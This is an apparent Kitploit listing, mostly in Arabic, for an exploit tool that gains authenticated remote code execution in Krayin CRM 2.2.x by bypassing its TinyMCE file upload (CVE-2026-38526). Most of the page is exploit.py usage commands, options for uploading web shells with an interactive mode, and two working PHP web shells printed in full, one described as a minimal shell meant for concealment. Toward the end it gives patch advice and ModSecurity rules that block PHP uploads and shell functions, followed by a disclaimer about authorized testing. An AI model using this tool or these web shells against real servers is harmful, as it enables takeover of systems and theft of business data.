KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 استغلال ثغرة في Krayin CRM الإصدار 2.2.x - تنفيذ أوامر عن بُعد (RCE) بعد المصادقة عبر تجاوز رفع ملفات TinyMCE. الميزات: شيل تفاعلي، حمولات متعددة الأنواع، إنشاء تلقائي للشيل، والتحقق. المؤلف: Sudeepa Wanigarathna. للاختبار المصرح به فقط. | Kitploit

المعامل	الوصف
`-t`, `--target`	عنوان URL الهدف (مثال: `http://192.168.1.100`)
`-u`, `--username`	اسم مستخدم المدير أو البريد الإلكتروني
`-p`, `--password`	كلمة مرور المدير

# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password

# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

شيل أساسي (basic) تنفيذ أوامر بسيط باستخدام دالة system().
```
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
```
شيل متقدم (advanced) شيل غني بالميزات مع:
- طرق متعددة لتنفيذ الأوامر
- واجهة ويب جميلة تشبه الطرفية
- دعم سجل الأوامر
- عرض المستخدم الحالي واسم المضيف
شيل بسيط (minimal) بصمة ضئيلة للتمويه.
```
<?php system($_GET["cmd"]); ?>
```
مدير الملفات (file_manager) واجهة إدارة ملفات كاملة:
- رفع الملفات
- حذف الملفات
- إنشاء الدليل
- التنقل
- عارض صلاحيات الملفات
شيل مخصص (custom) استخدم ملف شيل PHP الخاص بك مع المعامل -f.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

الخيار	الوصف	الافتراضي
`--timeout`	مهلة الطلب بالثواني	30
`--retry`	عدد محاولات إعادة المحاولة	3
`--retry-delay`	التأخير بين المحاولات بالثواني	2
`--user-agent`	سلسلة User-Agent مخصصة	وكيل المستخدم الافتراضي للمتصفح
`--header`	ترويسات HTTP مخصصة (مفتاح: قيمة)	لا شيء
`--verify-ssl`	التحقق من شهادات SSL	خطأ
`--proxy`	عنوان URL بروكسي HTTP/HTTPS	لا شيء
`-v`, `--verbose`	تمكين مخرجات التصحيح	خطأ
`-q`, `--quiet`	كتم جميع المخرجات	خطأ

إجراءات فورية:

# Update to patched version
composer update krayin/crm

# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords

تعزيز أمن رفع الملفات:

// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning

التحكم في الوصول:

# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies

قواعد WAF (ModSecurity):

# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"

# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, 
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE.

USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING 
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR 
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.

# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v

# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]

# Options:
#   -f FILE           Upload custom shell
#   --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
#   -i                Interactive mode
#   --proxy URL       HTTP proxy
#   -v                Verbose output
#   -o json           JSON output
#   --generate-only   Create shell without exploiting
#   --timeout SEC     Request timeout
#   --retry N         Retry count
#   --user-agent UA   Custom User-Agent
#   --header "K: V"   Custom headers
#   --verify-ssl      Verify SSL certificates
#   -q, --quiet       Suppress output

معرف CVE	CVE-2026-38526
البرنامج المتأثر	كراين CRM الإصدار 2.2.x
نوع الثغرة	تنفيذ التعليمات البرمجية عن بُعد (RCE) موثَّق
مطلوب مصادقة	نعم (صلاحيات مدير)
التأثير	اختراق كامل للنظام
درجة CVSS	8.8 (عالية)

الأكثر شعبية

KrayinCRM-RCE-Exploit-CVE-2026-38526

🚨 تفاصيل الثغرة

الإصدارات المتأثرة

✨ الميزات

📦 التثبيت

المتطلبات

التثبيت السريع

ملف المتطلبات (`requirements.txt`)

🚀 الاستخدام

صيغة الأمر الأساسية

المعاملات المطلوبة

أمثلة استخدام شائعة

🐚 أنواع الشيل

📝 تنسيقات المخرجات

تنسيق النص (افتراضي)

تنسيق JSON (`-o json`)

التنسيق الصامت (`-q`, `--quiet`)

⚙️ الخيارات المتقدمة

مثال الترويسات المخصصة

🔒 الكشف والوقاية

علامات الاختراق (IoC)

إجراءات الوقاية

🛡️ الإفصاح المسؤول

الجدول الزمني

📜 إخلاء المسؤولية

🔧 استكشاف الأخطاء وإصلاحها

المشكلات الشائعة

وضع التصحيح

🤝 المساهمة

📚 المراجع

⭐ الدعم

📊 بطاقة مرجعية سريعة للأوامر